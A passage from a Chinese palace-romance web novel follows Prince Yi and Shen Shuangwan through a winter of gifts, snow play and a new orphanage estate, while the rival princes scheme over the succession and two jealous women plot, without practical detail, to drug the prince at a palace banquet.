“但那条蛇尤其大,有我胳膊粗了。”隋王把砚台放回去,“那么大的蛇,那么小的乌龟,哪怕都是白的,也凑不成那什么玄武啊!我把那人赶走了,省得胡说八道被父皇听到,指不定又要疑神疑鬼。”
王妃点了头,叹道:“还是离这些江湖骗子远一些好。”顿了顿,她看向了隋王,说起了别的事情,“今日我那边倒是来了个稀客,你猜猜是谁?”
“是谁?”隋王来了兴致,“你都说是稀客,那应当是少与我们府上有往来的了。”
王妃道:“国舅家的卢夫人。”
隋王诧异地坐直了,看向了王妃:“她?”
“还带着他们家那位前仪王妃杨五娘。”王妃笑着摇了摇头,“我看着后来那位和武阳姑妈家的表妹一起嘀嘀咕咕说话了,也不知说了什么。”
“成安?”隋王皱了皱眉头,“我记得杨家和姑妈家也没什么往来?”
“的确是没什么往来,所以才让人觉得奇特了。”王妃说道,“我瞧着那位卢夫人大约是想趁机带着那位杨五娘和梁国公夫人说话,前儿不是听说梁国公夫人要给长子找个续弦么?”
隋王摇了摇头,道:“我看这事成不了,那位杨氏从前就心气高,又闹了这么多年,叫她嫁国公之子,她定是不愿意的。”
“成与不成,反正不是我们家的事情。”王妃笑着道。
隋王也笑了笑,忽然又道:“永平侯今日倒是在我跟前来求我能不能帮忙。”
“殿下应了?”王妃问。
隋王道:“我能应什么?他大小是个侯,也不好堂而皇之投入我门下来,帮了他未见得有什么好处,不帮他也不能拿我怎么样。”
王妃思索了一阵,道:“我看,姑妈应当是故意不让他有实职的,那样表妹才好辖制了他呢!”
“成安?她能辖制得了薛望,之前就不会是她闹得那么满城风雨了。”隋王嘲笑道,“她前儿不是还进宫去找祖母诉苦了?姑妈就应该直接棒打鸳鸯。”
王妃道:“现在说棒打鸳鸯也晚了,我看表妹对那永平侯是一往情深得很。”
隋王不欲多说这些事情,只向王妃道:“过两日我还和七弟他们一起出城打猎。”
王妃点了头,又见外头似乎有人声,便站起来,道:“殿下这儿事情多,我便不多打扰了。”一边说着,她便往外走去。
隋王送了王妃到垂花门,看着王妃带着人一路往正院方向去了,才转回来。
长史带着人已经候立在书房门口,他便示意他们跟随一起进去书房当中。
“我欲在明年父皇寿宴之时,为父皇献上一套书。”隋王向众人道,“我属意编纂一个方舆图志,你们觉得如何?”
“方舆图志?”众人交头接耳了一番,面上露出许多为难。
“有话便只说了吧!”隋王道。
长史道:“距离陛下寿宴不到四个月,这短短时间,实在不足以编纂一套方舆图志。”
隋王想了想,便道:“不必完全编好,到时候拿个大概也行。”
众人再议论了一番,只能先应下。
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入秋后,京中雨少,渐渐便有了天高气轻的爽朗之意。
仪王在府里呆了没几日,今上忽地下旨让他替天子巡视东都,他便只好把罗粱留在府中,又叮嘱了沈霜晚一番,然后带着天子仪仗往东都去。
仪王离京,府中倒是安静下来,沈霜晚却也并不觉得有多无趣。
一来是仪王走之前往她这里送了许多新书,还有许多颜料笔墨供她使用。
二来是,沈云一天天长大了。
沈云会翻身不久,又学会了匍匐爬行。
小孩儿几乎一天一个样,忽地有一日他能扒拉着矮凳子站起来,尽管站了没多久又一屁股坐下;又忽然有一天,他高高兴兴和沈霜晚玩耍时候,突然喊了一声娘娘。
沈霜晚抱着小孩儿亲了亲,等到奶娘抱着小孩儿去喝奶时候,就找了拿了纸笔把刚才和她玩木球的小孩儿画在了纸上。
仪王离京了快半月,有书信送回府中来,信中说了东都的情形,又说今上另有旨意他还得往北边去,大约要到冬天才能回京城来。
沈霜晚便叫了长史罗粱来问了问北边的气候,又让人准备了厚衣服,预备与回信一道送去给仪王。
这么一去一来,沈霜晚又回了两次仪王的来信,待到京中下了一场冬天的第一场雪,仪王才回到京城来。
回京自然是先要进宫去复命,今上设了宫宴给他接风洗尘,又留他在宫里住了一个月,直到进了腊月才叫他出宫回府来。
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又是替天子巡视,又是在宫中留住,这让隋王与嘉王一时间心中颇为不满。
单论在宫中留住倒不是什么值得说道的事情,从前今上与皇后怜惜仪王年纪小,故而让他开府晚,后来又常常喊他回宫去小住。
可替天子巡视又留住宫中,便意味大不同了。
入冬后京城滴水成冰,隋王与嘉王再很少出城打猎,多数时候是在家中围炉烤火再说说话,说得高兴了便叫人摆宴请人歌舞,若是兴致不高便也就是哥俩喝几杯酒。
自仪王回京后,这二人已经许久再没有大肆宴饮。
“父皇怕不是真想立他?”嘉王看向了隋王,“否则为何今年……往年也不曾叫皇子做这事情。”
“从前太子在的时候,太子有替父皇出行。”隋王烦闷地往火盆里面丢了两块木柴,他看向了外面皑皑白雪,“今年也是冷得异常,这雪下多久了?”
“也没多久,昨天晚上才开始下。”嘉王也往外看了一眼,“看着下小了些,说不定等会就停了。”
隋王撇了下嘴,又拿着铜钩把火盆里的木柴翻了几下。
“父皇应当还有疑虑,否则老早就立他了。”嘉王想了想,重新看向了隋王,“他不够稳重。”
隋王却道:“得让父皇觉得,有个理由不能立他。”
“这我却一时想不出来。”嘉王道,“他虽然跳脱不稳重,可做事却滴水不漏的,抓不到把柄。”
隋王若有所思把火盆推开了些,看向了嘉王:“或者想个办法?明日我让王妃进宫去与太后请安。”
“太后能有什
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么法子?她这一年年老得……”嘉王摇了摇头,“冯家都不一定能指望得上她。”
“但冯家的将来只能靠我们。”隋王如此说道,“若仪王做了太子,他是必定不会提携冯家的。”
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仪王府中,沈霜晚见到了许久未见的赵弘美。
往北边去了一趟,他看起来比在京中时候清瘦了些许,不过脸上笑容依然。
他先抱着吱哇乱叫的沈云转了一圈,趁着小孩儿还没哭,赶紧还给了奶娘抱着,然后塞了他一个拨浪鼓。
小孩儿拿着拨浪鼓下意识摇了摇,顿时忘了刚才想叫嚷的是什么,一心一意去看那小鼓。
转身,他又直接抱着沈霜晚转了一圈,这回是把一屋子人都转了出去,一回头一个侍女都不见。
“放我下来。”沈霜晚撑着他的肩膀低头看着他,“你看,一屋子人都跑了,太不像样子!”
“怎么没穿我特地让人给你带回来那个白熊皮?”仪王嬉笑着托着她的腰,小心让她坐在熏笼边上,“那个暖和,里面穿一件单衣就够了。”
“太重了!”沈霜晚理了理凌乱的头发,看向仪王,“而且穿上好像一头熊,太笨重。”
“我有件黑熊皮的,哪天我们一起穿。”仪王兴致勃勃地叫了人抬了两个箱子进来,“来看,我给你带的东西,你肯定喜欢。”
外头侍卫抬着两个大箱子进到屋子里面来,接着便退了出去。
仪王懒得两头跑,便直接把那两个箱子拖到了熏笼边上来,打开给她看。
“这两个匣子,我在平城遇到一个西域商队,他们带了许多颜料,我挑拣看过了,这些是最好的,我怕他们带回来的时候弄坏,就亲自带着。”仪王拿出了两个匣子,放在桌上示意沈霜晚打开,“那商队还有个会打金银首饰的老工匠,我还叫他帮我打了三套首饰还做了些小玩意。”
沈霜晚打开那两个匣子看了一眼,被里面琳琅满目的各种或者妩媚或者深沉的颜色夺去心魄,她惊讶地看了看颜料,又看了看仪王:“这简直……殿下怎么会找到这么多好看的颜色!”
仪王笑着看了她一眼,又拿出一个匣子示意她继续打开。
沈霜晚恋恋不舍盖上了颜料盒,再打开仪王推过来的小匣子,被里面一只金色的圆圆胖胖的绵羊给吸引了目光。
“金子做的?”沈霜晚捧起这圆圆胖胖的绵羊,小心摆弄了一下羊身上的卷毛,好奇地看向了仪王,“这是那个老工匠做的?”
仪王点头,他示意沈霜晚把绵羊立在桌上:“你看,可以站起来,身上的卷毛就是用金丝卷起来的,是不是很可爱?”
沈霜晚把这巴掌大的小绵羊放在桌上,认真点了点头:“太可爱了!”
“还有这个。”仪王接着又拿出了一个匣子,“给你打的一套首饰头面,我看你缺这些东西。”
沈霜晚小心把小绵羊放回匣子里面,打开首饰盒子看,只见里面是一整套的步摇发钗发簪花钿花树乃至耳环项圈臂钏手镯等等,无不巧夺天工。
“进宫时候用得上。”仪王笑着看她,“今年新年宫宴,你与我一起进宫去。”
沈霜晚有些迟疑,她合上那匣子,想了想才道:“论理,我不应当进宫的。”
仪王笑道:“我原本回来的时候想给你请封孺人,到时候你就是侧妃,父皇和母后都觉得现在还早了些。”他看着沈霜晚,“父皇和母后有他们的思量,我也不太好总忤逆,但这打算我是要让你知道的,等过些时日,时机成熟了,我就给你请封。”
57. 下雪
又一场大雪过后,武阳长公主回到京城来了。
原本乐昌郡王不欲叫母亲这样寒风呼啸季节还奔波,但一是今上寿辰在年底,今年寿辰不打算大办,故而乐昌郡王没有机会进京,但去到地方上也不能与京中断了联络,该送的礼自然不能缺;二则是,袁嘉儿来了信,说她怀孕有两个月,实在思念母亲。
武阳长公主到底心疼女儿,便就借着今上寿辰一事,带着礼物回到京城来。
袁嘉儿听说武阳长公主回来,早早就派人去长公主府上帮忙收拾了房舍,再一听说长公主车驾回府,便立刻叫人套了马车往长公主府上去。
马车行到半路,袁嘉儿才猛然想起了薛望。
“找个人回府里,让侯爷跟上来。”袁嘉儿叫马车靠边停下,如此吩咐了跟随着的下人。
下人忙应下,赶紧往侯府跑。
袁嘉儿撩开帘子看了眼外面熙熙攘攘的行人,心中烦闷重新把帘子放下。
与薛望成亲这几个月,她实在是——恨透了沈霜晚。
薛望简直时时刻刻把她和沈霜晚在对比,她似乎被那沈霜晚比得一文不值一般了。
她与薛望当然也争吵过。
她嘲笑薛望,若真的喜欢沈氏,那就去仪王府把沈氏接回来,她是能容得下人的,沈氏回来,她可没有半点不愿意,但你薛望有那本事让沈氏回来吗?
薛望被她说得哑口无言。
想着这些糟心的事情,她听到有马蹄声传来,接着便是薛望掀开帘子往车中探看。
“我本来还打算去找你,你这么急着出门做什么?”薛望皱着眉头,让身后的人抬着两个箱子跟在车后面,“庄子上的一些土仪,也不是什么贵重东西,但礼数不能缺。”
袁嘉儿扫了一眼那两个箱子,心中一边是嫌弃,一边又有几分高兴。她皱着眉头道:“我母亲府上又不缺这些,我回去也犯不着带这些俗物。”
薛望放下了车帘,只把她说的话当耳旁风。
袁嘉儿又恼火起来,她打起帘子,看着薛望上了马,然后才道:“怎么,那时候沈氏没娘家可回,没给你这么表现的机会了,这会儿上赶着送东西!”
薛望忍耐地看了她一眼,道:“你处处与她比,只会叫我觉得你便就是处处不如她。”
袁嘉儿差点跳起来,身边的侍女忙拉住了她,小声劝她身体要紧。
薛望示意袁嘉儿身后的侍女把车帘给放下,然后叫车夫赶车继续往长公主府上去。
不过一会儿,马车便到了长公主府上。
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武阳长公主听说袁嘉儿与薛望一起来了,便叫人出来迎接。
听说袁嘉儿怀孕时候,武阳长公主心中是有几分高兴的。
既然能怀孕,说明女儿与女婿也算是和睦相处。
但这会儿见着女儿和女婿两人一前一后进来,甚至女儿的脸色都有点发黑,武阳长公主不禁皱了皱眉头,她看向了薛望。
“请殿下放心,只是方才过来路上,小婿与嘉儿拌了几句嘴。”薛望上前行了礼,又叫人把那两个箱子抬到了厅中来,“殿下这儿自然什么都不缺,只是小婿一些心意,请殿下不要嫌弃。”
武阳长公主狐疑看向了女儿,她的女儿只在一旁坐了,脸色倒是渐渐平和下来。
“嘉儿一直想念殿下,今日一听说殿下回来,便立刻叫人套了马车过来。”薛望继续说道,“小婿今日也不过是护送嘉儿过来,怕她路上颠簸有什么意外。”顿了顿,他看了眼袁嘉儿,才继续说了下去,“小婿便也不打扰殿下与嘉儿母女相聚,这会便先回府去。等嘉儿想回府时候,差人到府上说一声,我亲自来接。”
“你一个人回去算什么事?”袁嘉儿眉头拧起来,“难道公主府没你住的地方?不许走!”
薛望只看向了武阳长公主,道:“殿下,小婿便先行告辞了。”
袁嘉儿站起身来,追了两步,但被武阳长公主叫住:“他到时候来接你,也是一样。”
武阳长公主如此说着,又叫令丞去送了薛望。
袁嘉儿抬头看向薛望,薛望却没有看她,只一径跟着令丞一起走开了。
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厅中没了旁人,袁嘉儿委委屈屈地拉着长公主的手,挨着她坐下了,她一开口就开始掉眼泪,道:“母亲,为什么那时候不干脆叫那沈氏死了算了!”
长公主被这话吓了一跳,她都有些不敢相信自己的耳朵,只一边用帕子替女儿擦了擦眼泪,一边皱着眉头问:“怎么说这话?你为何要让沈氏去死?”
袁嘉儿扑在长公主怀里呜呜咽咽道:“薛望满心都是那个沈氏,难道我比不过她?”
长公主面色冷下来,她往外看了一眼,已经不见薛望身影。
袁嘉儿又道:“他把沈氏的东西全都收在书房里,我上次见了,直接砸了个稀烂,他还给我脸色看!哪有这样的事情,到底谁是他的妻子,沈氏是狐狸精吗,为什么他一直念念不忘!他……”
“若过不下去,和离便是,正好与我一道离京。”长公主打断了她的话,她看着自己女儿,“不过是个男人,没什么不能放手的。”
这话叫袁嘉儿静默了一会,她扭头,道:“我不,我才不和离。”
“那就把刚才那些话给收起来。”长公主轻轻叹了一声。
“母亲,你不疼我了!”袁嘉儿大哭起来。
长公主被哭得心肝发颤,只能摸着女儿的脑袋,耐着性子道:“我只问你,你凭什么让沈氏去死?她哪怕有做错过什么事情么?”
袁嘉儿只低头嚎啕,并不回答。
长公主捧起女儿的脸,看着她的眼睛:“你看着我,你对母亲说实话,薛望对你好不好?”
袁嘉儿强硬道:“我喜欢他就行了,他对我……也不算差。”
“你喜欢他,可他不喜欢你啊!”长公主摇了摇头,“你若真的喜欢他喜欢到什么都不在乎,那为什么又要计较他喜欢沈氏?”
“那不一样!”袁嘉儿倔强道,“他……反正、那不一样。”
“嘉儿,母亲现在不会多劝你什么,也不会命令你去做什么,你现在是大人了,你已经成亲、怀孕、过不了多久你就要生子、并开始养育你自己的孩儿。”长公主看着她,“母亲不想再对你说那些曾经讲过的道理,但你可以自己想想,究竟要怎样做。”
“我……”袁嘉儿祈求地看着长公主,“母亲,我只觉得憋屈,明明我可以过得很好,偏偏有人万事都把我压下去。”
长公主心肠硬起来,她便道:“你要如何做我不管,等圣上寿辰
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过后,我便会离开京城,你若想通了,可以跟着我一起走。”
“我不走、我不走!母亲,你留在京城好不好!”袁嘉儿抱着长公主的胳膊,又开始扑簌簌掉起眼泪,“母亲……你不在京城,我连说话的人都没有……”
长公主只叹气,她并不应允袁嘉儿的话。
若说之前在北岭行宫时候,她只猜测着京中要为立太子的事情起波澜,后来知道仪王替天子出巡,她便心中有了论断。
无论其他人是如何想,她只觉得今上已经看中了仪王做太子。
沈氏显而易见是仪王喜欢的人,袁嘉儿若动了沈氏,就是与仪王结仇。
她不在京城,大约袁嘉儿还会收敛些,毕竟她这么多年只在闺阁中没什么手段,至多不过嘴上嚷嚷。
若她留在京城,那么反而说不定要出事情,那些有心人说不定就借着她这个长公主的名头去帮袁嘉儿行事,到时候牵扯起来,不知她这个长公主是不是还能有上回的好运气全身而退,又或者直接身家性命折进去与阴间的驸马团圆。
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寒风中,雪花几乎从四面八方落下。
地上已经有了快一尺深的积雪。
仪王穿着厚厚的皮裘,与同样穿得厚实的沈霜晚一起在院子里面玩雪。
两人先在在廊下的栏杆上先搓了一排大小相似的雪球,然后又来了兴致,把雪球堆叠到一起拼成小动物的样子。
仪王把两团雪球摞在一起,又从树叶上捏了一撮雪做了个尖尖的嘴巴,示意沈霜晚看:“像不像鸭子?”
“鸭子的嘴巴是扁的。”沈霜晚回手也捏了一团雪,想要让那尖尖的嘴巴变扁,但奈何这小雪球粘不住大嘴巴,最终这鸭子嘴巴不堪重负直接与身体脱离掉落在地上。
仪王大笑起来,道:“现在你得赔我个鸭子嘴巴了!”
沈霜晚低头在雪地里找了一会,那鸭子嘴巴掉下去就和雪花融为一体,实在是难寻。她想了想,干脆摘了片叶子折了折,插在了雪球里面,然后看向仪王:“这样,有嘴巴了吧!”
仪王看着这鸭子,无比满意道:“比我刚才那尖嘴巴好太多。”
沈霜晚弯腰揉了个大大的椭圆形的雪球,放在了仪王的鸭子旁边,又用手指戳了两个小洞当做眼睛,接着转而看向仪王:“殿下猜猜这是什么?”
“这么胖?是鸟?”仪王挑了眉,“雕鸮?”
“怎么猜到?”沈霜晚意外地看向了仪王。
“前两天有一只在我书房外面树上,吵了整整一夜。但罗粱说它吃老鼠,我就没叫人赶走。”仪王笑着说,“后来没听到它再吵,难道跑到你这儿来了?”
“正是,昨天夜里还在乱叫,把云儿吵醒了,哄了好一阵才睡。”沈霜晚说道。
仪王正想说什么,罗粱冒着雪从外面匆忙过来了。
“圣上口谕宣殿下进宫去。”罗粱说道。
仪王有些烦恼地看着罗粱:“父皇说是什么事情么?”
“有外国使节来京,圣上请您代为款待。”罗粱道。
“鸿胪寺又不是没人,让我去做什么?吩咐鸿胪寺卿去就是。”仪王口中这么说着,但也不得不先进宫一趟,他便看向了沈霜晚,道,“我先进宫,若晚上不回来,我差人过来与你说。”
58. 焦躁
仪王到底还是带着鸿胪寺卿一起去接待了来为今上祝寿的外国使节。
虽说今上说了寿宴不会大办仅在宫中摆个家宴就足够,但有这些千里迢迢而来就为了祝寿的使节,故而朝中也还是庆贺了一番,只不似去年那样隆重了。
从去年今上在寿宴上说要立太子已经过去了整整一年,尽管到如今都还未有定论,但只看仪王如今跟随今上左右的样子,再有今上对仪王越来越宽容放纵,这样的微妙让大臣们看在眼里,心中倒是也都有了一二猜测。
不过立太子这事情,自古以来,只要诏书未下,便不是定局。
再退一步,哪怕诏书下了,太子入主了东宫,也还仍然并非大局已定。
太子能不能顺利登上大宝呢?
就不看长远,只看到如今未有定论的那位先太子足矣。
于是臣子们虽然心中猜测,但面上仍然是什么都不表示的。
但这样的情形,还是让隋王与嘉王焦躁。
同样焦躁,还有杨月芷。
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隋王嘉王是烦闷仪王可能会当上了太子,他们的谋划终究落空。
而杨月芷则是愤恨,她原本是仪王妃,将来便能做太子妃,再之后还能成为皇后!可她现在却沦落到去给那些什么国公之子做续弦,她恨宫中的皇后不向着杨家,更恨自己父母不为她的今后好好打算。
若那时候皇后压一压赵弘美,她哪里会与他和离呢?
若是那时候没有和离,她又何须悔恨、何须烦闷?
她本应当好好做着王妃,只等着将来做了太子妃,再之后去做皇后的!
心里有这样的念头,她再看不上那些什么寻常的公子,一心只想着若是能想办法把仪王再抓在手中便好了。
杨家是指望不上了,她看得清楚明白。
如今仪王越看越有太子之相,杨家人都不再敢得罪他,更不敢违逆宫中的皇后。
就连她的祖母都不再提让杨家女嫁到仪王府的事情。
他们都怕被皇后和仪王厌弃,将来不再享受荣华富贵了。
她现在只能自己想办法,又或者……成安郡主?
杨月芷想起了数月前在隋王府遇到过的袁嘉儿,她原本以为袁嘉儿会有什么大动作,但这数月来,她只看着袁嘉儿与那永平侯似乎吵吵闹闹,现在又有孕在身,就连长公主回京都劝不动。
袁嘉儿能指望得上?
杨月芷戴着手笼站在廊下,心不在焉地看着纷飞的大雪。
她只在家中听人随口说京中事情,就能看出那永平侯不是什么好人,也不知袁嘉儿为何会抓着不放手,难不成就是因为怀孕了?
若说怀孕,永平侯那个前妻——
杨月芷面色不自觉沉了下去,那个沈氏。
那个沈氏怀着孕去了仪王府,后来生了个儿子,仪王还帮忙过继到了沈家。
人人都说仪王爱极了那个沈氏,还打算给那个沈氏请封侧妃。
她若是能重新做仪王妃,她倒是要看看那沈氏究竟是何等姿色,可以迷惑了仪王,还叫那个永平侯也念念不忘。
漫不经心想到这里,杨月芷忽地顿了顿。
若是——若是她也能怀孕?
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大雪中,袁嘉儿满腹怨怼又泪眼婆娑地送了武阳长公主的马车离京。
她有心留长公主在京中过年,但长公主却只问她要不要一起走。
无论她如何恳求,长公主都不愿意留下。
看着在风雪中渐渐远去的马车,袁嘉儿哀怨地收回了目光,看向了一旁的薛望。
薛望便伸手扶了她的胳膊,示意她快些回到马车上去。
“若我跟着母亲走了,你是不是就要把那个沈氏找回来?”袁嘉儿问。
薛望打起帘子,语气漠然道:“若我有那本事就好了。”
袁嘉儿捧着肚子,恨道:“仪王只要还在一日,你就别想如愿。”
薛望不再接话,只看着她上了马车,便把帘子放下了。
他翻身上马,示意车夫跟上来。
顺着官道慢慢往城中走,他想起他前几日去往隋王府中自请帮忙修那方舆图志的事情。
隋王把修方舆图志作为寿礼献给了今上,今上据说十分高兴,赏了隋王,还说让他慢慢修,修得细致些,若是缺人,便去弘文馆和翰林院去寻。一时间隋王府门庭若市,有许多人都去请求帮忙修书。
他那日过去时候,还见着好几个国公伯爵之子都在与隋王寒暄着说那修书的事情。
心心念念的实职求了这么久还没能有个着落,他老早已经有厌倦之意。
如今有个虚衔侯爵在头上顶着,又有郡主做妻子,他总告诉自己其实应当满足了,可想到将来,又想到沈霜晚,他又憋不住想要再上一层楼。
他似乎想让沈霜晚看看,他才是比仪王更好的,他似乎是想叫沈霜晚后悔离开了他。
他的确是想叫沈霜晚回到身边的。
他回头看跟在身后的马车。
如今郡主有孕,虽然她平日里吵闹不休又蛮横无理,但这次她仍然选择留在了京城,留在他身边,他或者也应当对他好一些。
毕竟,她没有像沈霜晚那样弃他而去。
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一场场雪下下来,京城却一天天热闹起来。
过了小年,各家都贴上了窗花春联桃符,路边常有小孩儿聚在一起尖叫着跑来跑去玩爆竹。
皇宫前用沉香木竖起庭燎,等到除夕夜晚便要燃起火山,与京城百姓们一起跳笑驱傩,共同乐舞。
听说沈霜晚没见过庭燎,仪王特地带着她去皇宫前看了一看。
两人就同骑在一匹马上,在风中一起抬头看着宫人们忙忙碌碌。
“你以前除夕晚上不出来玩?”仪王用手背碰了碰沈霜晚的冷冰冰的脸颊,替她把风帽往前拉了拉,“每年除夕时候,这里就架起火,然后大家一起戴着面具驱傩。”顿了顿,他自己也想起来,“去年你怀着小云,的确没出来玩。”
“往年也不会出来,未嫁的时候,我娘说每到这时候,那些拐子就藏在人群里面,看到那些落了单的女子小孩儿就直接略走。”沈霜晚抬头看了仪王一眼,“后来在薛家,除夕晚上要等着祭祖。”
“宫中也是要祭祖,不过前半夜还是能出来玩。”仪王笑着策马带着她绕着那庭燎走了
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一圈,然后往王府方向走,“今年就带着你一起进宫去守岁祭祖。前半夜先跟着驱傩的人一起戴着面具到这里来玩,然后呢回去吃东西,跟着我就行,吃完东西就等着人都到齐了,跟着父皇母后去祭祖,祭祀磕头完了,就重新找个地方坐下休息吃东西。天亮了,我跟着父皇去元日朝会上听臣子们朝贺,你就跟着母后去太后那儿,跟着外命妇一起给太后磕个头就行。”
“磕完头呢?”沈霜晚笑着问。
“跟着母后回去,然后等着我接你一起回府。”仪王想了一会才这么回答了,“母后应当会给你一些压岁钱,给了就接着。”
沈霜晚点了点头,道:“我知道了。”
“到那天,有什么事情就打发人来找我。”仪王不放心,又叮嘱了一遍,“随便找个宫人,说要找我,他们肯定会来的。”
“好,我记住了。”沈霜晚再次笑着看向了他,“殿下说的,我都记住了。”
仪王便也笑起来,他搂着她的腰,道:“我怕你进宫被欺负了,那会儿人多,母后要是顾不上你,你可不要憋着不说。”
“他们看在殿下您的面子上,也不会欺负我呀!”沈霜晚说道。
“这话倒是有理。”仪王认真点了头,他禁不住笑,“但我还是不放心,所以我要多叮嘱几遍,你也不许嫌我烦。”
两人说着话,便直接到了府门口。
仪王先跳下马,然后叫人拿了马凳过来,才让沈霜晚扶着他的胳膊从马上下来。
他一边让人把马牵走,一边与沈霜晚一起往府中走,忽地余光瞥见杨家的马车从另一边走过去。他脚步顿了顿,回头看了一眼,略有些诧异看向了迎接出来的长史罗粱。
“杨家最近还好?我好像没听他们有什么动静。”仪王问。
罗粱有些不明白为什么仪王突然问杨家,他想了想才道:“最近没什么动静,没听说做什么事情,只知道国舅在急着给他们家女孩儿说亲。”
仪王点了点头,道:“他们要是这么一直安静就好了。”
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杨家的马车停在了京城最大的酒楼外面。
杨月芷从车上下来,径直上了二楼。
袁嘉儿靠在栏杆上正心不在焉地看一楼的舞姬跳舞。
听到脚步声,她抬头看到了杨月芷,便站直了身子,示意她进去雅间中说话。
“我原以为母亲回来了会帮我,可谁知道……最后还是只能靠我自己。”袁嘉儿慢慢扶着腰坐下了,语气中还是带着怨气的。
“我想要怀上仪王的孩子。”杨月芷坐到了袁嘉儿对面,坦然而平静地说道,“这样,他就必须得娶我。”
袁嘉儿一愣,她抬眼看向了杨月芷,静默了片刻才问:“那么你想……?”
“谁来说服都是没用的,谁也说服不了皇后和仪王。”杨月芷说道,“那么最好的办法就是,让事实发生,让他无法抵赖。”
袁嘉儿静默了片刻,她竟只觉得这是个绝妙的好办法了,仪王若是真的……他能抵赖?他只能认下来!
“我已经亲自去药铺准备好了助兴的药。”杨月芷的目光带着破釜沉舟一般的决心,“现在只需要一个时机。”
59. 田庄
雪花纷纷扬扬。
杨月芷坐在温暖的马车中。
外面天色已经黯淡,但街坊中热闹依旧。
她回想着刚才与袁嘉儿密谋的每一个字每一句话。
“怀孕太久了……若他就是脸皮厚,这事情也也是能抵赖的。或者……让人看到你们在一起呢?”袁嘉儿说,“但也不能让太多人看到,闹太大没有好结果。”
“更衣的时候把他引过去。”她想着千百种可能的方式,试探着看向了袁嘉儿,“甚至不用太久,只需要把他引过去,给他下药,接着让人来看到,足矣。”她越说越觉得自己的办法就是可行的,“这几年宫宴,皇后娘娘都叫他进宫去帮忙理事。宫宴开始前,假借娘娘的旨意,应当可以把他引过来。到时候只需要再被人看到,这事情就成了。”
袁嘉儿认真思考着,眉头微微皱起来:“只是,皇后娘娘若是想……就算你真的给他下了药,也不是不能盖过去。”
“那你说,有什么别的好办法?”她看着袁嘉儿。
袁嘉儿想了许久,道:“或者不应当是借皇后娘娘的旨意,而是太后娘娘的旨意。”
她看着袁嘉儿,等着她继续说下去。
袁嘉儿道:“太后娘娘不爱管这些事情,到时候必定也是要请皇后娘娘过来处置,但毕竟有太后娘娘在,皇后娘娘便不能强硬叫人把事情给掩盖过去。到时候便不得不承认了。你说……是不是这个道理?”
她顺着袁嘉儿的话想了想,倒是也觉得有理。
她道:“我与太后娘娘向来不熟,这便只能靠你。”
袁嘉儿便道:“你放心,这事情我与太后娘娘暗示一两句,娘娘便懂的。娘娘最是心慈,她不会不帮我们。”
于是她和袁嘉儿再细细把这事情理了一遍,相互分了工,袁嘉儿去说服太后娘娘,她回去准备好那日要用的药,务必得是药效快且剂量重。
“只有这一次机会,不能有闪失。”袁嘉儿这么叮嘱了她,“一点点都不能有。”
她自然也明白这个道理,只道:“事成之后,我会替你除掉那个沈氏。”
此时此刻,她不禁在想自己重新当上王妃之后的情形了——这一回,便是赵弘美占了下风,他再不能不对她言听计从,从此她便能把他捏在手心里。
将来她会成为太子妃,甚至皇后。
她只需要在除夕宫宴那日抓住机会。
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茫茫大雪又下了两日,下到京城处处雪白时候,终于放了晴。
虽然放晴,但天气却又冷了几分。
沈霜晚早上起身和开始牙牙学语的沈云鸡同鸭讲,仪王忽地从外面进来了。
他穿戴整齐,显然是要出门的样子,一进来便招呼了她身边的侍女,让她们去把出门的衣裳拿出来。
“怎么今日还要出门?”沈霜晚坐着没起身,只抬头看着仪王笑,“殿下是想带着我去哪里?”
仪王上前来拉着她起身,口中笑道:“带你出城去。”
沈霜晚便借着他的力气站起来,一边笑一边跟着侍女往里间走,口中道:“那殿下帮我跟那不知道在说什么的臭小子聊几句。”
仪王便一手捞起了手舞足蹈一会喊鹅鹅一会喊粑粑的沈云夹在怀里,一大一小两人开始绕着正厅转悠,一时间整个正厅都是不明所以的叽叽嘎嘎嘻嘻哈哈,比五百只鸭子还吵闹。
沈霜晚在里间一边换衣服一边听着外头两人闹出的巨大喧腾实在哭笑不得,便吩咐了侍女去调些蜜水送出去给那俩润润嗓子。
等到换好了衣服再出去,便见仪王让沈云坐在自己肩膀上,两人一起抬头在看她挂在墙上的梅兰竹菊四幅画,听到动静,这两人便一起转过身来看向了她,倒是动作一致得很。
仪王手里还拿着杯子,他向她笑道:“什么时候挂上的,我昨天过来还没看到呢!”
“早上刚挂上。”沈霜晚笑着上前去把沈云从他肩上给摘下来,交还到奶娘怀里去,然后理了理仪王肩膀上那些乱糟糟的褶皱,“殿下别惯得这臭小子没大没小了,奶娘经不起他这么没大没小蹦跶。”
仪王笑着道:“到时候从前头拨个小内侍过来跟他一起玩就是,不是什么大事。”一边说着,他一边握住了她的手,回头向奶娘道,“你好好在家带着小公子,我与夫人怕是要到晚上才回来,若有什么事情差人去前头找长史。”
奶娘忙抱着沈云应下。
“所以是要去哪里,竟是要到晚上才回来?”沈霜晚一边跟着仪王往外走,一边问。
仪王打了帘子让她走在前头,只答道:“你只管跟着我走就是了。”
听着这话,沈霜晚便也不再多问,只跟着他一起上了马车,往城外去。
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距离除夕夜还有三天,京城里里外外都热闹极了,路上竟是堵了好一会,马车才慢慢出了城门。
从南城门出去,马车又行了约小半个时辰,才缓缓停了下来。
还没下车,沈霜晚先听到外头有小孩儿叽叽喳喳说话的声音,还有犬吠鸡鸣,她带着几分疑惑再看向了仪王,并没急着下去,只笑着问:“都到这里,殿下总要说说这是来做什么了吧?”
仪王撩开帘子往外看了一眼,自己先跳下车去,然后向她伸手,口中道:“你之前说想找个地方收留些孤女,我就替你寻了个地方,下来看看?”
沈霜晚愣了愣,完全没想过她只提了一提的话,却被他记住了。
不仅是记住,竟然还替她做了。
一时间,她有些怔忡,竟不知要如何反应。
仪王见她呆呆的样子便笑了一声,倾身上前来看着她,问道:“总不会是觉得我多管闲事,准备大骂我一场吧?”
沈霜晚回过神来,心中的感动和恼火混在了一起,还没开口又被仪王给堵住了。
“先下来看看,看我给你找的这个地方好不好。”仪王嬉皮笑脸说道。
她便踩着马凳下了车,一座安静的田庄出现在了她眼前。
“往前
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再走一点就是朱集村,这里原本是朱集村一个员外的庄园,但奈何那位员外子孙不孝,把家业都败光了,我便叫罗粱买了下来。”仪王一边说着,一边指了指前面朱集村的方向,“我也来看过几次,这里民风淳朴,距离京城不太远,想去哪里都方便。”
沈霜晚顺着仪王指的方向看了,再看眼前这田庄,回头又看向仪王:“那进去看看?”
村子里的孩童们带着狗在不远处正好奇地打量他们。
仪王命人去给小孩儿撒了些糖,逗得小孩们哄笑着跑远了,然后才推开了田庄的门。
“我让人先过来在这边打理了,我想着你将来应当会过来看看,便叫了女人在这边主事,免得你自己过来的时候觉得别扭。”仪王对她笑着说,“是知根知底的人,放心便是。”
